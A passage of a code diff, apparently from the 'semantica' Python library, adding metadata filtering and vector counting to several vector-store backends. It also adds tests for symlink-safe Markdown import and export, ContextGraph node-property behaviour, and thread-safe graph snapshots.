+            filters: Metadata filter criteria
+            limit: Maximum number of results
+            namespace: Namespace to search in
+
+        Returns:
+            List of matching result dicts with 'id', 'metadata', and 'vector'
+        """
+        if self.index is None or not PINECONE_AVAILABLE:
+            return []
+
+        dimension = self.dimension
+        if dimension is None:
+            try:
+                stats = self.index.describe_index_stats()
+                if stats and isinstance(stats, dict) and stats.get("dimension"):
+                    dimension = int(stats["dimension"])
+                    self.dimension = dimension
+            except Exception:
+                pass
+
+        if not dimension:
+            raise ProcessingError(
+                "Index dimension is unknown. Please specify 'dimension' when initializing PineconeStore "
+                "or call create_index()/get_index() first."
+            )
+
+        pinecone_filter = {}
+        if filters:
+            for key, value in filters.items():
+                if isinstance(value, dict):
+                    cond = {}
+                    if "min" in value and value["min"] is not None:
+                        cond["$gte"] = value["min"]
+                    if "max" in value and value["max"] is not None:
+                        cond["$lte"] = value["max"]
+                    if cond:
+                        pinecone_filter[key] = cond
+                elif isinstance(value, list):
+                    pinecone_filter[key] = {"$in": value}
+                else:
+                    pinecone_filter[key] = value
+
+        # A literal zero vector is rejected by Pinecone for cosine-metric indexes
+        # ("Query vector must not be the zero vector"). Use a unit vector instead so
+        # this works regardless of the index's distance metric; since this call only
+        # cares about which vectors match `filter`, not similarity ranking, any
+        # fixed non-zero query vector is an equally valid probe.
+        dummy_vector = [1.0 / (dimension ** 0.5)] * dimension
+
+        try:
+            response = self.index.index.query(
+                vector=dummy_vector,
+                top_k=limit,
+                filter=pinecone_filter if pinecone_filter else None,
+                namespace=namespace,
+                include_metadata=True,
+                include_values=True,
+            )
+            results = []
+            for match in response.matches:
+                results.append(
+                    {
+                        "id": match.id,
+                        "metadata": match.metadata or {},
+                        "vector": np.array(match.values) if match.values else None,
+                    }
+                )
+            return results
+        except Exception as e:
+            self.logger.warning(f"Failed to filter Pinecone vectors by metadata: {e}")
+            return []
+
     def fetch_vectors(
         self, vector_ids: List[str], namespace: str = "", **options
     ) -> Dict[str, Any]:

semantica/vector_store/qdrant_store.py

@@ -49,8 +49,10 @@ try:
         Distance,
         FieldCondition,
         Filter,
+        MatchAny,
         MatchValue,
         PointStruct,
+        Range,
         VectorParams,
     )
 
@@ -63,7 +65,9 @@ except (ImportError, OSError):
     PointStruct = None
     Filter = None
     FieldCondition = None
+    MatchAny = None
     MatchValue = None
+    Range = None
     CollectionStatus = None
 
 
@@ -538,6 +542,68 @@ class QdrantStore:
             self.logger.warning(f"Failed to get metadata for {vector_id}: {e}")
             return None
 
+    def filter_by_metadata(
+        self, filters: Dict[str, Any], limit: int = 10
+    ) -> List[Dict[str, Any]]:
+        """
+        Filter vectors by metadata using Qdrant payload filtering.
+
+        Args:
+            filters: Metadata filter criteria
+            limit: Maximum number of results
+
+        Returns:
+            List of matching result dicts with 'id', 'metadata', and 'vector'
+        """
+        if self.collection is None or self.client is None or not QDRANT_AVAILABLE:
+            return []
+
+        conditions = []
+        if filters:
+            for key, value in filters.items():
+                if isinstance(value, dict):
+                    cond_kwargs = {}
+                    if "min" in value and value["min"] is not None:
+                        cond_kwargs["gte"] = value["min"]
+                    if "max" in value and value["max"] is not None:
+                        cond_kwargs["lte"] = value["max"]
+                    if cond_kwargs:
+                        conditions.append(
+                            FieldCondition(key=key, range=Range(**cond_kwargs))
+                        )
+                elif isinstance(value, list):
+                    conditions.append(
+                        FieldCondition(key=key, match=MatchAny(any=value))
+                    )
+                else:
+                    conditions.append(
+                        FieldCondition(key=key, match=MatchValue(value=value))
+                    )
+
+        query_filter = Filter(must=conditions) if conditions else None
+
+        try:
+            records, _ = self.client.scroll(
+                collection_name=self.collection.collection_name,
+                scroll_filter=query_filter,
+                limit=limit,
+                with_payload=True,
+                with_vectors=True,
+            )
+            results = []
+            for rec in records:
+                results.append(
+                    {
+                        "id": str(rec.id),
+                        "metadata": rec.payload or {},
+                        "vector": np.array(rec.vector) if rec.vector is not None else None,
+                    }
+                )
+            return results
+        except Exception as e:
+            self.logger.warning(f"Failed to scroll Qdrant points by metadata filter: {e}")
+            return []
+
     def delete_vectors(
         self, point_ids: List[Union[str, int]], **options
     ) -> Dict[str, Any]:

semantica/vector_store/sqlite_vec_store.py

@@ -616,6 +616,96 @@ class SQLiteVecStore:
             self.logger.warning(f"Failed to get metadata for {vector_id}: {e}")
             return None
 
+    def filter_by_metadata(
+        self, filters: Dict[str, Any], limit: int = 10
+    ) -> List[Dict[str, Any]]:
+        """
+        Filter stored vectors by metadata using SQLite JSON functions.
+
+        Args:
+            filters: Dictionary of metadata filter conditions
+            limit: Maximum number of results
+
+        Returns:
+            List of results containing id, metadata, and vector
+        """
+        filter_conditions = []
+        filter_params = []
+
+        if filters:
+            for key, value in filters.items():
+                if not self._is_safe_identifier(key):
+                    raise ValidationError(
+                        f"Invalid filter key: {key!r}. "
+                        "Keys must start with a letter or underscore and contain "
+                        "only alphanumeric characters and underscores."
+                    )
+                if isinstance(value, dict):
+                    if "min" in value and value["min"] is not None:
+                        filter_conditions.append(f"CAST(json_extract(metadata, '$.{key}') AS NUMERIC) >= ?")
+                        filter_params.append(value["min"])
+                    if "max" in value and value["max"] is not None:
+                        filter_conditions.append(f"CAST(json_extract(metadata, '$.{key}') AS NUMERIC) <= ?")
+                        filter_params.append(value["max"])
+                elif isinstance(value, list):
+                    # If the metadata value at this key is itself a JSON array, match on
+                    # intersection (mirrors the in-memory backend's set-intersection
+                    # semantics); otherwise fall back to plain scalar membership. Both
+                    # cases are handled uniformly via json_each: a non-array value is
+                    # wrapped in a one-element array first so json_each always sees a
+                    # valid JSON array to iterate.
+                    placeholders = ", ".join(["?"] * len(value))
+                    filter_conditions.append(
+                        f"EXISTS (SELECT 1 FROM json_each("
+                        f"  CASE WHEN json_type(metadata, '$.{key}') = 'array'"
+                        f"       THEN json_extract(metadata, '$.{key}')"
+                        f"       ELSE json_array(json_extract(metadata, '$.{key}'))"
+                        f"  END"
+                        f") je WHERE je.value IN ({placeholders}))"
+                    )
+                    filter_params.extend([str(v) if not isinstance(v, (int, float, bool)) else v for v in value])
+                else:
+                    filter_conditions.append(f"json_extract(metadata, '$.{key}') = ?")
+                    if isinstance(value, bool):
+                        filter_params.append(1 if value else 0)
+                    else:
+                        filter_params.append(value)
+
+        where_clause = ""
+        if filter_conditions:
+            where_clause = " WHERE " + " AND ".join(filter_conditions)
+
+        query_sql = f"""
+            SELECT id, embedding, metadata
+            FROM {self.table_name}
+            {where_clause}
+            LIMIT ?
+        """
+        params = filter_params + [limit]
+
+        with self._lock, self._get_connection() as conn:
+            try:
+                cur = conn.cursor()
+                cur.execute(query_sql, params)
+                rows = cur.fetchall()
+                cur.close()
+
+                results = []
+                for row in rows:
+                    vec_id, embedding_blob, meta_json = row
+                    vec = None
+                    if embedding_blob:
+                        vec = np.frombuffer(embedding_blob, dtype=np.float32).copy()
+
+                    results.append({
+                        "id": vec_id,
+                        "metadata": json.loads(meta_json) if meta_json else {},
+                        "vector": vec
+                    })
+                return results
+            except Exception as e:
+                raise ProcessingError(f"Failed to filter by metadata: {str(e)}") from e
+
     def create_index(
         self,
         index_type: str = "hnsw",
@@ -650,6 +740,15 @@ class SQLiteVecStore:
             except Exception as e:
                 raise ProcessingError("Failed to get store statistics") from e
 
+    def count(self) -> int:
+        """Return the exact number of vectors stored in this SQLite table.
+
+        Executes ``SELECT COUNT(*) FROM <table>`` under the store's lock to
+        guarantee a consistent, transaction-aware result.
+        """
+        stats = self.get_stats()
+        return int(stats["vector_count"])
+
     def close(self):
         """Close the database connection."""
         if hasattr(self, "_lock") and self._lock:

semantica/vector_store/vector_store.py

@@ -65,7 +65,7 @@ Author: Semantica Contributors
 License: MIT
 """
 
-from typing import Any, Dict, List, Optional, Tuple, TypedDict, Union
+from typing import Any, Dict, List, Optional, Tuple, TypedDict, Union, cast
 import concurrent.futures
 import inspect
 
@@ -824,6 +824,35 @@ class VectorStore:
         else:
             raise NotImplementedError(f"Backend store {type(self._backend_store).__name__} does not implement get_metadata")
 
+    def count(self) -> int:
+        """Return the number of vectors in the store, backend-agnostic.
+
+        The inmemory backend counts its local dict; persistent backends
+        delegate to a ``count()`` on the wrapped store when available.
+        Following the get_vector()/get_metadata() precedent (#843) and the
+        NotImplementedError-on-unsupported-capability precedent of
+        _filter_by_metadata() (#848), a persistent backend that cannot
+        report a count raises NotImplementedError so callers can tell
+        "no vectors" apart from "counting not supported" — including when
+        the wrapped backend store is missing entirely (never silently
+        report an uninitialized store as empty).
+        """
+        if self.backend == "inmemory":
+            return len(self.vectors)
+        elif self._backend_store is not None:
+            count_attr = getattr(self._backend_store, "count", None)
+            if callable(count_attr):
+                return cast(int, count_attr())
+            raise NotImplementedError(
+                f"Backend store {type(self._backend_store).__name__} does not "
+                "implement a count() method. Add a count() method to the "
+                "backend store adapter to enable vector counting for this backend."
+            )
+        raise NotImplementedError(
+            f"Backend store is not initialized; cannot count vectors for "
+            f"backend {self.backend!r}."
+        )
+
     def initialize_decision_pipeline(
         self,
         graph_store: Optional[Any] = None,
@@ -1185,75 +1214,29 @@ class VectorStore:
             from datetime import datetime, timedelta
             cutoff = datetime.now() - timedelta(days=7)
             filters["timestamp"] = {"min": cutoff.isoformat()}
-        
         return filters
 
     def _filter_by_metadata(self, filters: Dict[str, Any], limit: int) -> List[Dict[str, Any]]:
         """Filter decisions by metadata only."""
         if self._backend_store is not None:
-            # No real backend wrapper implements filter_by_metadata; the only
-            # codebase hit is HybridSearch.filter_by_metadata which has a
-            # completely different signature (results, MetadataFilter) and is
-            # never stored in _backend_store.  Silently returning [] here would
-            # be wrong — the caller (filter_decisions) would report zero matches
-            # for a query that simply isn't supported, indistinguishable from a
-            # genuine empty result.  This is the same situation as get_vector()
-            # and get_metadata() (#843 fix): when a backend exists but cannot
-            # fulfil the request, raise NotImplementedError so the caller knows
-            # the backend lacks this capability rather than assuming no data.
             if hasattr(self._backend_store, "filter_by_metadata"):
-                return self._backend_store.filter_by_metadata(filters, limit)
+                return self._backend_store.filter_by_metadata(filters=filters, limit=limit)
             raise NotImplementedError(
                 f"Backend store {type(self._backend_store).__name__} does not "
                 "implement filter_by_metadata. Metadata-only filtering via "
-                "filter_decisions(query=None, ...) is only supported for the "
-                "inmemory backend. Pass a query string to use search_decisions() "
+                "filter_decisions(query=None, ...) is only supported for backends "
+                "that implement filter_by_metadata. Pass a query string to use search_decisions() "
                 "instead, which is supported by all backends."
             )
 
         results = []
         
         for vector_id, metadata in self.metadata.items():
-            match = True
-            
-            for key, value in filters.items():
-                if key not in metadata:
-                    match = False
-                    break
-                
-                if isinstance(value, dict):
-                    # Handle range filters
-                    metadata_value = metadata[key]
-                    if "min" in value and metadata_value < value["min"]:
-                        match = False
-                        break
-                    if "max" in value and metadata_value > value["max"]:
-                        match = False
-                        break
-                elif isinstance(value, list):
-                    # Handle list membership
-                    metadata_value = metadata[key]
-                    if isinstance(metadata_value, list):
-                        # Both are lists - check for intersection
-                        if not set(metadata_value) & set(value):
-                            match = False
-                            break
-                    else:
-                        # Metadata value is scalar, check if it's in the filter list
-                        if metadata_value not in value:
-                            match = False
-                            break
-                else:
-                    # Handle exact match
-                    if metadata[key] != value:
-                        match = False
-                        break
-            
-            if match:
+            if _matches_filter(metadata, filters):
                 results.append({
                     "id": vector_id,
                     "metadata": metadata,
-                    "vector": self.get_vector(vector_id)
+                    "vector": self.vectors.get(vector_id)
                 })
                 
                 if len(results) >= limit:
@@ -1262,6 +1245,43 @@ class VectorStore:
         return results
 
 
+def _matches_filter(metadata: Dict[str, Any], filters: Dict[str, Any]) -> bool:
+    """Check if metadata dictionary matches filter criteria."""
+    if not filters:
+        return True
+    if metadata is None:
+        return False
+
+    for key, value in filters.items():
+        if key not in metadata:
+            return False
+
+        metadata_value = metadata[key]
+
+        if isinstance(value, dict):
+            # Handle range filters
+            if "min" in value and value["min"] is not None:
+                if metadata_value is None or metadata_value < value["min"]:
+                    return False
+            if "max" in value and value["max"] is not None:
+                if metadata_value is None or metadata_value > value["max"]:
+                    return False
+        elif isinstance(value, list):
+            # Handle list membership
+            if isinstance(metadata_value, list):
+                if not (set(metadata_value) & set(value)):
+                    return False
+            else:
+                if metadata_value not in value:
+                    return False
+        else:
+            # Handle exact match
+            if metadata_value != value:
+                return False
+
+    return True
+
+
 class VectorIndexer:
     """Vector indexing engine."""
 
@@ -1461,21 +1481,47 @@ class VectorManager:
     def maintain_store(
         self, store: VectorStore, **options: Dict[str, Any]
     ) -> Dict[str, Any]:
-        """Maintain vector store health."""
-        # Check integrity
-        vector_count = len(store.vectors)
-        metadata_count = len(store.metadata)
+        """Maintain vector store health.
 
+        For the inmemory backend, both the vector count and the metadata
+        count are independently tracked in separate dicts and are compared
+        as an integrity check.
+
+        For persistent backends that implement ``VectorStore.count()``,
+        only the vector count is available.  Metadata is co-located with
+        each vector in the underlying store (added/deleted atomically),
+        so a separate metadata count cannot be meaningfully distinguished
+        from the vector count.  The response omits ``metadata_count`` for
+        such backends and reports ``healthy: True`` to indicate that the
+        store is reachable and operational.
+
+        If the backend does not implement ``count()``, the ``NotImplementedError``
+        propagates to the caller — it is not silenced.
+        """
+        if store.backend == "inmemory":
+            # Inmemory keeps vectors and metadata in separate dicts; compare
+            # them to detect accidental divergence (#855).
+            vector_count = len(store.vectors)
+            metadata_count = len(store.metadata)
+            return {
+                "healthy": vector_count == metadata_count,
+                "vector_count": vector_count,
+                "metadata_count": metadata_count,
+            }
+
+        # Persistent backend: delegate to count().  Metadata and vectors are
+        # stored together, so only one count is available.
+        vector_count = store.count()
         return {
-            "healthy": vector_count == metadata_count,
+            "healthy": True,
             "vector_count": vector_count,
-            "metadata_count": metadata_count,
+            "metadata_count": None,
         }
 
     def collect_statistics(self, store: VectorStore) -> Dict[str, Any]:
         """Collect vector store statistics."""
         return {
-            "total_vectors": len(store.vectors),
+            "total_vectors": store.count(),
             "dimension": store.dimension,
             "backend": store.backend,
         }

semantica/vector_store/weaviate_store.py

@@ -445,6 +445,173 @@ class WeaviateStore:
             self.logger.warning(f"Failed to get metadata for {vector_id}: {e}")
             return None
 
+    def _build_weaviate_filter(self, filters: Dict[str, Any]) -> Any:
+        """Build native Weaviate Filter object from metadata filter dictionary."""
+        if not filters or not WEAVIATE_AVAILABLE:
+            return None
+
+        Filter = None
+        try:
+            from weaviate.classes.query import Filter
+        except (ImportError, AttributeError):
+            try:
+                if weaviate and hasattr(weaviate, "classes") and hasattr(weaviate.classes, "query"):
+                    Filter = getattr(weaviate.classes.query, "Filter", None)
+            except AttributeError:
+                Filter = None
+
+        if Filter is None:
+            return None
+
+        try:
+            conditions = []
+            for key, value in filters.items():
+                if isinstance(value, dict):
+                    if "min" in value and value["min"] is not None:
+                        conditions.append(Filter.by_property(key).greater_or_equal(value["min"]))
+                    if "max" in value and value["max"] is not None:
+                        conditions.append(Filter.by_property(key).less_or_equal(value["max"]))
+                elif isinstance(value, list):
+                    conditions.append(Filter.by_property(key).contains_any(value))
+                else:
+                    conditions.append(Filter.by_property(key).equal(value))
+
+            if not conditions:
+                return None
+
+            weaviate_filter = conditions[0]
+            for cond in conditions[1:]:
+                weaviate_filter = weaviate_filter & cond
+
+            return weaviate_filter
+        except Exception as e:
+            self.logger.debug(f"Could not build native Weaviate filter: {e}")
+            return None
+
+    def filter_by_metadata(
+        self, filters: Dict[str, Any], limit: int = 10
+    ) -> List[Dict[str, Any]]:
+        """
+        Filter stored objects by metadata in Weaviate.
+
+        Args:
+            filters: Metadata filter criteria
+            limit: Maximum number of results
+
+        Returns:
+            List of matching result dicts with 'id', 'metadata', and 'vector'
+        """
+        if self.collection is None or not WEAVIATE_AVAILABLE:
+            return []
+
+        from .vector_store import _matches_filter
+
+        native_filter = self._build_weaviate_filter(filters) if filters else None
+
+        results = []
+        seen_ids = set()
+        after_cursor = None
+        scanned_count = 0
+        page_size = max(limit, 100)
+        use_native_filter = native_filter is not None
+
+        try:
+            while len(results) < limit:
+                kwargs = {"limit": page_size, "include_vector": True}
+                if use_native_filter and native_filter is not None:
+                    kwargs["filters"] = native_filter
+                if after_cursor is not None:
+                    kwargs["after"] = after_cursor
+
+                try:
+                    objs = self.collection.query.fetch_objects(**kwargs)
+                except TypeError as te:
+                    # Handle kwargs incompatibility (e.g. mock or client version without filters/after)
+                    if "filters" in kwargs:
+                        use_native_filter = False
+                        kwargs.pop("filters", None)
+                        try:
+                            objs = self.collection.query.fetch_objects(**kwargs)
+                        except TypeError:
+                            if "after" in kwargs:
+                                kwargs.pop("after", None)
+                                kwargs["offset"] = scanned_count
+                                try:
+                                    objs = self.collection.query.fetch_objects(**kwargs)
+                                except TypeError:
+                                    kwargs.pop("offset", None)
+                                    objs = self.collection.query.fetch_objects(**kwargs)
+                    elif "after" in kwargs:
+                        kwargs.pop("after", None)
+                        kwargs["offset"] = scanned_count
+                        try:
+                            objs = self.collection.query.fetch_objects(**kwargs)
+                        except TypeError:
+                            kwargs.pop("offset", None)
+                            objs = self.collection.query.fetch_objects(**kwargs)
+                    else:
+                        raise te
+                except Exception as fe:
+                    if use_native_filter:
+                        self.logger.warning(
+                            f"Native Weaviate filter query failed, falling back to paginated fetch: {fe}"
+                        )
+                        use_native_filter = False
+                        kwargs.pop("filters", None)
+                        objs = self.collection.query.fetch_objects(**kwargs)
+                    else:
+                        raise fe
+
+                if not objs or not getattr(objs, "objects", None):
+                    break
+
+                batch_objects = objs.objects
+                if not batch_objects:
+                    break
+
+                new_objects_found = False
+                for obj in batch_objects:
+                    obj_id = str(obj.uuid) if hasattr(obj, "uuid") and obj.uuid is not None else None
+                    if obj_id:
+                        if obj_id in seen_ids:
+                            continue
+                        seen_ids.add(obj_id)
+                        new_objects_found = True
+
+                    properties = getattr(obj, "properties", None) or {}
+                    if _matches_filter(properties, filters):
+                        vector = None
+                        if hasattr(obj, "vector") and obj.vector:
+                            vector = np.array(obj.vector)
+                        results.append(
+                            {
+                                "id": obj_id,
+                                "metadata": properties,
+                                "vector": vector,
+                            }
+                        )
+                        if len(results) >= limit:
+                            break
+
+                if not new_objects_found:
+                    break
+
+                scanned_count += len(batch_objects)
+                if len(batch_objects) < page_size:
+                    break
+
+                last_obj = batch_objects[-1]
+                if hasattr(last_obj, "uuid") and last_obj.uuid is not None:
+                    after_cursor = str(last_obj.uuid)
+                else:
+                    break
+
+            return results
+        except Exception as e:
+            self.logger.warning(f"Failed to fetch Weaviate objects by metadata filter: {e}")
+            return results if results else []
+
+
     def query_vectors(
         self,
         query_vector: np.ndarray,

tests/context/test_agent_memory_markdown.py

@@ -1,4 +1,5 @@
 import errno
+import sys
 from copy import deepcopy
 from datetime import datetime, timedelta, timezone
 from unittest.mock import MagicMock, patch
@@ -8,6 +9,8 @@ import yaml
 
 from semantica.context.agent_memory import AgentMemory
 
+_ERROR_PRIVILEGE_NOT_HELD = 1314
+
 
 class TrackingVectorStore:
     def __init__(self):
@@ -643,7 +646,13 @@ def test_markdown_export_rejects_symlink_without_touching_target(tmp_path):
     outside = tmp_path / "outside.md"
     outside.write_text("do not overwrite", encoding="utf-8")
     output_path = destination / memory._memory_markdown_filename("mem_symlink")
-    output_path.symlink_to(outside)
+    try:
+        output_path.symlink_to(outside)
+    except OSError as error:
+        winerror = getattr(error, "winerror", None)
+        if sys.platform == "win32" and winerror == _ERROR_PRIVILEGE_NOT_HELD:
+            pytest.skip("Windows symlink creation requires an unavailable privilege")
+        raise
 
     with pytest.raises(ValueError, match="symbolic link"):
         memory.export(format="markdown", destination=destination)
@@ -724,3 +733,109 @@ def test_markdown_export_destination_must_be_a_directory(tmp_path):
 
     with pytest.raises(ValueError, match="not a directory"):
         AgentMemory().export(format="markdown", destination=destination)
+
+
+def test_markdown_import_file_open_security_rejects_symlink(tmp_path):
+    memory = AgentMemory()
+    target = tmp_path / "secret.txt"
+    target.write_text("secret content", encoding="utf-8")
+    symlink_file = tmp_path / "memory.md"
+    try:
+        symlink_file.symlink_to(target)
+    except OSError as error:
+        winerror = getattr(error, "winerror", None)
+        if sys.platform == "win32" and winerror == _ERROR_PRIVILEGE_NOT_HELD:
+            pytest.skip("Windows symlink creation requires an unavailable privilege")
+        raise
+
+    with pytest.raises(ValueError, match="Symlink Markdown import paths are rejected"):
+        memory._read_markdown_file_content(symlink_file)
+
+def test_markdown_import_public_api_rejects_symlink(tmp_path):
+    """
+    import_data(..., format="markdown") must propagate the symlink rejection
+    through the full call chain: import_data → _import_markdown_payload →
+    _read_markdown_path → _read_markdown_file_content.
+
+    This complements test_markdown_import_file_open_security_rejects_symlink,
+    which only tests the private helper.  A future refactor that bypasses
+    _read_markdown_file_content would silently stop being protected; this test
+    catches that.
+    """
+    target = tmp_path / "secret.txt"
+    target.write_text("secret content", encoding="utf-8")
+    symlink_file = tmp_path / "memory.md"
+    try:
+        symlink_file.symlink_to(target)
+    except OSError as error:
+        winerror = getattr(error, "winerror", None)
+        if sys.platform == "win32" and winerror == _ERROR_PRIVILEGE_NOT_HELD:
+            pytest.skip("Windows symlink creation requires an unavailable privilege")
+        raise
+
+    memory = AgentMemory()
+    with pytest.raises(ValueError, match="Symlink Markdown import paths are rejected"):
+        memory.import_data(symlink_file, format="markdown")
+
+
+def test_markdown_import_directory_silently_skips_symlinked_entries(tmp_path):
+    """
+    When importing a directory, symlink entries must be silently excluded.
+    Only real regular files must be read.
+
+    This tests the filter in _read_markdown_path:
+        not file_path.is_symlink()
+    which was added by PR #932.
+    """
+    # Write a real Markdown file in the directory
+    real_md = tmp_path / "real.md"
+    real_md.write_text(
+        markdown_document(required_frontmatter(memory_id="dir-real"), "Real content"),
+        encoding="utf-8",
+    )
+    # Write the symlink target outside the directory
+    target = tmp_path.parent / "outside.txt"
+    target.write_text("must not be read", encoding="utf-8")
+    link_md = tmp_path / "evil.md"
+    try:
+        link_md.symlink_to(target)
+    except OSError as error:
+        winerror = getattr(error, "winerror", None)
+        if sys.platform == "win32" and winerror == _ERROR_PRIVILEGE_NOT_HELD:
+            pytest.skip("Windows symlink creation requires an unavailable privilege")
+        raise
+
+    memory = AgentMemory()
+    # Must succeed, returning only the real file
+    results = memory._read_markdown_path(tmp_path)
+    assert len(results) == 1, (
+        f"Expected 1 result (real.md only), got {len(results)}: "
+        f"{[r[0] for r in results]}"
+    )
+    assert "Real content" in results[0][1]
+
+
+def test_markdown_import_rejects_non_regular_file(tmp_path):
+    """
+    _read_markdown_file_content must raise ValueError when the opened file
+    descriptor does not refer to a regular file (S_ISREG fails).
+
+    This tests the fstat()/S_ISREG guard, which is the defense-in-depth layer
+    that catches special files (FIFOs, character devices) even when the
+    is_symlink() pre-check passes.  The test works on both POSIX and Windows
+    because it mocks os.fstat rather than relying on platform-specific
+    filesystem objects.
+    """
+    import stat as stat_module
+
+    real_file = tmp_path / "not_really_regular.md"
+    real_file.write_text("some data", encoding="utf-8")
+
+    # Build a mock stat result whose st_mode describes a FIFO (S_IFIFO).
+    fake_stat = MagicMock()
+    fake_stat.st_mode = stat_module.S_IFIFO | 0o600  # FIFO with rw permissions
+
+    memory = AgentMemory()
+    with patch("semantica.context.agent_memory.os.fstat", return_value=fake_stat):
+        with pytest.raises(ValueError, match="not a regular file"):
+            memory._read_markdown_file_content(real_file)

tests/context/test_context.py

@@ -252,5 +252,87 @@ class TestContextModule(unittest.TestCase):
         self.assertIsNotNone(ctx._memory)
         self.assertEqual(len(ctx._memory.short_term_memory), 1)
 
+class TestContextGraphNodePropertyContract(unittest.TestCase):
+
+    _MISSING = object()
+
+    def _graph_with_node(self):
+        graph = ContextGraph()
+        graph.add_node("n1", "person", "Alice", role="engineer", score=0)
+        return graph
+
+    def test_get_node_property_existing_node_existing_prop(self):
+        graph = self._graph_with_node()
+        self.assertEqual(graph.get_node_property("n1", "role"), "engineer")
+
+    def test_get_node_property_existing_node_missing_prop(self):
+        graph = self._graph_with_node()
+        self.assertIsNone(graph.get_node_property("n1", "nonexistent"))
+
+    def test_get_node_property_missing_node_returns_default_none(self):
+        graph = self._graph_with_node()
+        self.assertIsNone(graph.get_node_property("ghost", "role"))
+
+    def test_get_node_property_returns_default_on_missing_node(self):
+        graph = self._graph_with_node()
+        result = graph.get_node_property("ghost", "role", default=self._MISSING)
+        self.assertIs(result, self._MISSING)
+
+    def test_get_node_property_returns_default_on_missing_prop(self):
+        graph = self._graph_with_node()
+        result = graph.get_node_property("n1", "nonexistent", default=self._MISSING)
+        self.assertIs(result, self._MISSING)
+
+    def test_get_node_property_explicit_default_returned_for_absent_node(self):
+        graph = self._graph_with_node()
+        self.assertEqual(graph.get_node_property("ghost", "role", default="fallback"), "fallback")
+
+    def test_get_node_property_prop_value_of_zero_not_swallowed(self):
+        graph = self._graph_with_node()
+        self.assertEqual(graph.get_node_property("n1", "score"), 0)
+
+    def test_get_node_attributes_existing_node_returns_copy(self):
+        graph = self._graph_with_node()
+        attrs = graph.get_node_attributes("n1")
+        self.assertIsInstance(attrs, dict)
+        self.assertEqual(attrs.get("role"), "engineer")
+
+    def test_get_node_attributes_missing_node_returns_empty_dict_by_default(self):
+        graph = self._graph_with_node()
+        self.assertEqual(graph.get_node_attributes("ghost"), {})
+
+    def test_get_node_attributes_missing_node_explicit_default(self):
+        graph = self._graph_with_node()
+        result = graph.get_node_attributes("ghost", default={})
+        self.assertEqual(result, {})
+
+    def test_add_node_attribute_mutation_callback_fires_on_update(self):
+        graph = self._graph_with_node()
+        fired = []
+        graph.mutation_callback = lambda op, nid, data: fired.append((op, nid))
+        graph.add_node_attribute("n1", {"extra": "value"})
+        self.assertEqual(len(fired), 1)
+        self.assertEqual(fired[0], ("UPDATE_NODE", "n1"))
+
+    def test_add_node_attribute_missing_node_no_callback(self):
+        graph = self._graph_with_node()
+        fired = []
+        graph.mutation_callback = lambda op, nid, data: fired.append((op, nid))
+        graph.add_node_attribute("ghost", {"extra": "value"})
+        self.assertEqual(len(fired), 0)
+
+    def test_add_node_attribute_raising_callback_does_not_propagate(self):
+        graph = self._graph_with_node()
+
+        def _boom(op, nid, data):
+            raise RuntimeError("audit sink unavailable")
+
+        graph.mutation_callback = _boom
+        # Should not raise, matching _add_internal_node/_add_internal_edge,
+        # which already catch and log mutation_callback exceptions.
+        graph.add_node_attribute("n1", {"extra": "value"})
+        self.assertEqual(graph.get_node_property("n1", "extra"), "value")
+
+
 if __name__ == '__main__':
     unittest.main()

tests/context/test_context_graph_thread_safety.py

@@ -0,0 +1,168 @@
+#!/usr/bin/env python3
+"""Regression tests for ``ContextGraph.to_dict()`` thread safety.
+
+``ContextGraph`` guards its state with ``self._lock`` (an ``RLock``), and every
+reader on the class takes it -- ``stats``, ``density``, ``find_nodes``,
+``find_edges``, ``get_neighbors``, ``get_nodes_by_label``, ``state_at`` and
+``save_to_file`` all do. ``to_dict`` was the one exception: it iterated
+``self.nodes.values()`` and ``self.edges`` unguarded, so a concurrent writer
+raised ``RuntimeError: dictionary changed size during iteration``.
+
+``save_to_file`` was safe only incidentally -- it holds the lock and builds its
+payload inline rather than delegating to ``to_dict``.
+"""
+
+import threading
+import time
+
+from semantica.context.context_graph import ContextGraph
+
+
+def _seeded_graph(node_count: int = 200) -> ContextGraph:
+    graph = ContextGraph(advanced_analytics=False)
+    for i in range(node_count):
+        graph.add_node(f"seed{i}", "seed")
+    return graph
+
+
+class TestToDictHoldsTheLock:
+    """``to_dict`` must take ``_lock``, like every sibling reader."""
+
+    def test_to_dict_waits_for_the_lock(self):
+        """Deterministic proof the lock is held -- no race window needed.
+
+        With the lock held elsewhere, ``to_dict`` must block. Without the fix it
+        returns immediately, since it never asks for the lock at all.
+        """
+        graph = _seeded_graph(10)
+        started = threading.Event()
+        finished = threading.Event()
+
+        def snapshot():
+            started.set()
+            graph.to_dict()
+            finished.set()
+
+        with graph._lock:
+            worker = threading.Thread(target=snapshot, daemon=True)
+            worker.start()
+            assert started.wait(timeout=5.0), "the worker thread never started running"
+            # The worker is now running and cannot finish while this thread
+            # owns the lock.
+            assert not finished.wait(timeout=0.5), (
+                "to_dict() completed while another thread held _lock, so it is "
+                "reading graph state unguarded"
+            )
+
+        assert finished.wait(timeout=5.0), "to_dict() did not complete after _lock was released"
+        worker.join(timeout=5.0)
+        assert not worker.is_alive(), "the worker thread is still running after to_dict() finished"
+
+    def test_to_dict_is_reentrant_for_a_caller_holding_the_lock(self):
+        """``_lock`` is an ``RLock``, so lock-holding callers must not deadlock.
+
+        The nested acquisition runs in a daemon worker joined with a timeout so
+        that a non-reentrant lock fails the test instead of hanging it.
+        """
+        graph = _seeded_graph(10)
+        result = {}
+
+        def nested_snapshot():
+            with graph._lock:
+                result["snapshot"] = graph.to_dict()
+
+        worker = threading.Thread(target=nested_snapshot, daemon=True)
+        worker.start()
+        worker.join(timeout=5.0)
+
+        assert not worker.is_alive(), (
+            "to_dict() deadlocked when called by a thread already holding "
+            "_lock -- the lock is no longer reentrant"
+        )
+        assert len(result["snapshot"]["nodes"]) == 10
+
+
+class TestToDictUnderConcurrentWrites:
+    """The reported race: snapshot one thread, mutate from another."""
+
+    def _run_race(self, graph: ContextGraph, reader, duration: float = 1.0):
+        """Hammer ``reader`` while a writer adds nodes. Returns (errors, reads)."""
+        stop = threading.Event()
+        errors = []
+        reads = []
+
+        def writer():
+            i = 0
+            while not stop.is_set():
+                try:
+                    graph.add_node(f"w{i}", "written")
+                except Exception as exc:  # pragma: no cover - writer must stay healthy
+                    errors.append(exc)
+                    return
+                i += 1
+
+        def reader_loop():
+            while not stop.is_set():
+                try:
+                    reads.append(reader())
+                except Exception as exc:
+                    errors.append(exc)
+                    stop.set()
+                    return
+
+        threads = [
+            threading.Thread(target=writer, daemon=True),
+            threading.Thread(target=reader_loop, daemon=True),
+        ]
+        for thread in threads:
+            thread.start()
+        time.sleep(duration)
+        stop.set()
+        for thread in threads:
+            thread.join(timeout=5.0)
